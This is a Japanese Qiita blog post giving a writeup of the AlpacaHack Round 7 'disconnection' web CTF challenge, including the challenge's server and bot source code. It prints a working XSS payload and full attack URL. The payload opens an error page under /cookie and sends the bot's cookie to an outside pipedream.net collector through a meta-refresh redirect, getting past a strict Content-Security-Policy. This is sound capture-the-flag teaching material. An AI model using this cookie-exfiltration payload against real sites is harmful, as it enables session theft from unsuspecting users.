1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 8

[web] disconnection (AlpacaHack Round 7) writeup

Last updated at Posted at 2024-12-07

  • Source: AlpacaHack Round 7 (web)
  • Author: ark

/で任意のJavaScriptを実行できるが、/以外にアクセスすると接続が切られてしまうアプリ。

import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .all("/*", (req, res) => res.socket.destroy()) // disconnected
  .listen(3000);

flagはbotのcookieにあるが、cookieのpathが/cookieに設定されており、/では窃取できない。

bot.js
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "disconnection";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^Alpaca{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/cookie", // 🍪
    });
    await page.goto(url, { timeout: 5_000 });
    await sleep(10_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

/cookie以下へアクセスし、接続が切れる前にどうにかしてcookieを窃取する方法を考える。

res.socket.destroy()を行っているのはexpressのルーティングの後なので、それよりも前の段階で何か処理を止めれば接続を切られることはない。ここでは、ルーティング中にエラーを発生させる方法を考える。

/cookie/%にアクセスすると、URLのデコードに失敗してエラー画面が表示された。

これを別ウィンドウで開けば/からJavaScriptを実行することができそう。

試しに以下のURLにアクセスしてみると、/から/cookie/%上でJavaScriptを実行できていることが分かる。

http://localhost:3000/?xss=w=open("/cookie/%");setInterval(()=>{alert(w.document.location)},1000)

あとはdocument.cookieを外部に送ればよいが、CSPにdefault-src: 'none'が設定されているためfetchnavigator.sendBeacon<iframe>などはリクエストがブロックされてしまった。

色々試していると、<meta>でのリダイレクトであればブロックされずにアクセスできることが分かった。これを用いて最終的なpayloadを書く。

w=open("/cookie/%");
setTimeout(()=>{
  const metaTag = document.createElement('meta');
  metaTag.setAttribute('http-equiv', 'refresh');
  metaTag.setAttribute('content', `0;url=https://xxxxxxxx.m.pipedream.net?${w.document.cookie}`);
  document.head.appendChild(metaTag);
}, 1000)
http://disconnection:3000/?xss=w=open("/cookie/%");setTimeout(()=>{const%20metaTag=document.createElement('meta');metaTag.setAttribute('http-equiv','refresh');metaTag.setAttribute('content',`0;url=https://xxxxxxxx.m.pipedream.net?${w.document.cookie}`);document.head.appendChild(metaTag);},1000)

このURLをbotに投げるとflagが得られた。
Alpaca{browser_behavior_is_to0o0o0o0o0o0o0_complicated}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?